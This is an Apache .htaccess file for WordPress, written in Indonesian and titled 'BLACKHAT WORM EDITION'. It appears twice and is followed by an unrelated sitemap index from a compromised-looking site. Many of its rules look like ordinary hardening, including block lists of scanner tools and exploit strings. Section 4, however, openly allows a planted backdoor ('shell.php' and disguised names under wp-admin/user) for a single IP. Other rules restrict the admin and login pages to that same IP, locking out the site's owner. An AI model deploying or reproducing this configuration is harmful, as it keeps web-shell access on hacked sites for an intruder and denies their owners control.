# =================================================================
# .HTACCESS UNIVERSAL V3 - BLACKHAT WORM EDITION
# KOMPATIBEL DENGAN APACHE 2.2, 2.4, DAN SEMUA HOSTING
# IP YANG DIIZINKAN: 138.199.60.176
# WARNING: JANGAN UBAH ATURAN INI KALAU TIDAK PAHAM
# =================================================================

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
</IfModule>

# =================================================================
# 1. BLOKIR SEMUA USER-AGENT BERBAHAYA
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{HTTP_USER_AGENT} (?:^$|libwww|perl|python|nikto|curl|wget|scan|java|php|webzip|sqlmap|nmap) [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} (havij|masscan|zgrab|zgrab2|wpscan|joomscan|acunetix) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 2. BLOKIR REQUEST YANG MENGANDUNG POLA EKSPLOIT
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
    RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
    RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
    RewriteCond %{QUERY_STRING} (eval\(|base64_decode|system\(|shell_exec|passthru|popen|proc_open) [NC,OR]
    RewriteCond %{QUERY_STRING} (concat|union|select|insert|update|delete|drop|create|alter) [NC,OR]
    RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC,OR]
    RewriteCond %{QUERY_STRING} (localhost|127\.0\.0\.1) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 3. BLOKIR METODE HTTP YANG TIDAK DIPERLUKAN
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD|PUT|DELETE) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 4. IZINKAN BACKDOOR ANDA (HANYA DARI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} ^138\.199\.60\.176$
RewriteRule ^wp-admin/user/(themes|class-wp-html-text-templates|index|shell)\.php$ - [L]

# =================================================================
# 5. BLOKIR SEMUA FILE PHP DI FOLDER SENSITIF
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/uploads/.*\.(php|phtml|php3|php4|php5|phar|inc|module|sh|pl|cgi)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/cache/.*\.(php|phtml|php3|php4|php5|phar|inc)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/upgrade/.*\.(php|phtml|php3|php4|php5|phar)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/languages/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-includes/(wp-db\.php|wp-load\.php|version\.php|class-wp-.*\.php|functions\.php)$
RewriteRule ^wp-includes/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-admin/(admin-ajax\.php|admin-post\.php|admin\.php|load-scripts\.php|load-styles\.php)$
RewriteRule ^wp-admin/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/themes/.*/(functions|header|footer|page|single|index|style)\.php$
RewriteRule ^wp-content/themes/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/.*/(index|plugin|load)\.php$
RewriteRule ^wp-content/plugins/.*\.(php|phtml)$ - [F,L]

# =================================================================
# 6. BLOKIR AKSES WP-ADMIN DAN WP-LOGIN (KECUALI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-admin
RewriteRule .* - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-login\.php
RewriteRule .* - [F,L]

# =================================================================
# 7. BLOKIR AKSES KE FILE SENSITIF (VERSI KOMPATIBEL)
# =================================================================
<FilesMatch "^(wp-config\.php|php\.ini|\.htaccess|\.user\.ini|readme\.html|license\.txt|wp-config-sample\.php)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

# =================================================================
# 8. MATIKAN DIRECTORY BROWSING
# =================================================================
Options -Indexes

# =================================================================
# 9. PROTECTION TERHADAP FILE UPLOAD DENGAN EKSTENSI GANDA
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{REQUEST_FILENAME} .*\.(jpg|jpeg|png|gif|bmp|ico|svg|pdf|doc|docx|xls|xlsx|zip|rar|txt)\.(php|phtml|php3|php4|php5|phar)$ [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 10. SET HEADER KEAMANAN EKSTRA
# =================================================================
<IfModule mod_headers.c>
    Header set X-Frame-Options "SAMEORIGIN"
    Header set X-Content-Type-Options "nosniff"
    Header set X-XSS-Protection "1; mode=block"
    Header set Referrer-Policy "strict-origin-when-cross-origin"
    Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"
</IfModule>

# =================================================================
# 11. ATURAN DEFAULT WORDPRESS
# =================================================================
<IfModule mod_rewrite.c>
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

# =================================================================
# 12. BLOKIR AKSES LANGSUNG KE FILE XML-RPC (VERSI KOMPATIBEL)
# =================================================================
<Files "xmlrpc.php">
    Order Deny,Allow
    Deny from all
</Files>

# =================================================================
# 13. BLOKIR AKSES KE FILE INSTALL
# =================================================================
<FilesMatch "^(wp-install\.php|wp-activate\.php)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

# =================================================================
# END OF .HTACCESS UNIVERSAL V3
# =================================================================# =================================================================
# .HTACCESS UNIVERSAL V3 - BLACKHAT WORM EDITION
# KOMPATIBEL DENGAN APACHE 2.2, 2.4, DAN SEMUA HOSTING
# IP YANG DIIZINKAN: 138.199.60.176
# WARNING: JANGAN UBAH ATURAN INI KALAU TIDAK PAHAM
# =================================================================

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
</IfModule>

# =================================================================
# 1. BLOKIR SEMUA USER-AGENT BERBAHAYA
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{HTTP_USER_AGENT} (?:^$|libwww|perl|python|nikto|curl|wget|scan|java|php|webzip|sqlmap|nmap) [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} (havij|masscan|zgrab|zgrab2|wpscan|joomscan|acunetix) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 2. BLOKIR REQUEST YANG MENGANDUNG POLA EKSPLOIT
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
    RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
    RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [OR,NC]
    RewriteCond %{QUERY_STRING} (eval\(|base64_decode|system\(|shell_exec|passthru|popen|proc_open) [NC,OR]
    RewriteCond %{QUERY_STRING} (concat|union|select|insert|update|delete|drop|create|alter) [NC,OR]
    RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC,OR]
    RewriteCond %{QUERY_STRING} (localhost|127\.0\.0\.1) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 3. BLOKIR METODE HTTP YANG TIDAK DIPERLUKAN
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD|PUT|DELETE) [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 4. IZINKAN BACKDOOR ANDA (HANYA DARI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} ^138\.199\.60\.176$
RewriteRule ^wp-admin/user/(themes|class-wp-html-text-templates|index|shell)\.php$ - [L]

# =================================================================
# 5. BLOKIR SEMUA FILE PHP DI FOLDER SENSITIF
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/uploads/.*\.(php|phtml|php3|php4|php5|phar|inc|module|sh|pl|cgi)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/cache/.*\.(php|phtml|php3|php4|php5|phar|inc)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/upgrade/.*\.(php|phtml|php3|php4|php5|phar)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteRule ^wp-content/languages/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-includes/(wp-db\.php|wp-load\.php|version\.php|class-wp-.*\.php|functions\.php)$
RewriteRule ^wp-includes/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-admin/(admin-ajax\.php|admin-post\.php|admin\.php|load-scripts\.php|load-styles\.php)$
RewriteRule ^wp-admin/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/themes/.*/(functions|header|footer|page|single|index|style)\.php$
RewriteRule ^wp-content/themes/.*\.(php|phtml)$ - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/.*/(index|plugin|load)\.php$
RewriteRule ^wp-content/plugins/.*\.(php|phtml)$ - [F,L]

# =================================================================
# 6. BLOKIR AKSES WP-ADMIN DAN WP-LOGIN (KECUALI IP ANDA)
# =================================================================
RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-admin
RewriteRule .* - [F,L]

RewriteCond %{REMOTE_ADDR} !^138\.199\.60\.176$
RewriteCond %{REQUEST_URI} ^/wp-login\.php
RewriteRule .* - [F,L]

# =================================================================
# 7. BLOKIR AKSES KE FILE SENSITIF (VERSI KOMPATIBEL)
# =================================================================
<FilesMatch "^(wp-config\.php|php\.ini|\.htaccess|\.user\.ini|readme\.html|license\.txt|wp-config-sample\.php)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

# =================================================================
# 8. MATIKAN DIRECTORY BROWSING
# =================================================================
Options -Indexes

# =================================================================
# 9. PROTECTION TERHADAP FILE UPLOAD DENGAN EKSTENSI GANDA
# =================================================================
<IfModule mod_rewrite.c>
    RewriteCond %{REQUEST_FILENAME} .*\.(jpg|jpeg|png|gif|bmp|ico|svg|pdf|doc|docx|xls|xlsx|zip|rar|txt)\.(php|phtml|php3|php4|php5|phar)$ [NC]
    RewriteRule .* - [F,L]
</IfModule>

# =================================================================
# 10. SET HEADER KEAMANAN EKSTRA
# =================================================================
<IfModule mod_headers.c>
    Header set X-Frame-Options "SAMEORIGIN"
    Header set X-Content-Type-Options "nosniff"
    Header set X-XSS-Protection "1; mode=block"
    Header set Referrer-Policy "strict-origin-when-cross-origin"
    Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"
</IfModule>

# =================================================================
# 11. ATURAN DEFAULT WORDPRESS
# =================================================================
<IfModule mod_rewrite.c>
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>

# =================================================================
# 12. BLOKIR AKSES LANGSUNG KE FILE XML-RPC (VERSI KOMPATIBEL)
# =================================================================
<Files "xmlrpc.php">
    Order Deny,Allow
    Deny from all
</Files>

# =================================================================
# 13. BLOKIR AKSES KE FILE INSTALL
# =================================================================
<FilesMatch "^(wp-install\.php|wp-activate\.php)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

# =================================================================
# END OF .HTACCESS UNIVERSAL V3
# =================================================================<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://alex.duvernay.biz/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://alex.duvernay.biz/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://alex.duvernay.biz/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://alex.duvernay.biz/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://alex.duvernay.biz/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://alex.duvernay.biz/wp-sitemap-taxonomies-post_format-1.xml</loc></sitemap><sitemap><loc>https://alex.duvernay.biz/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>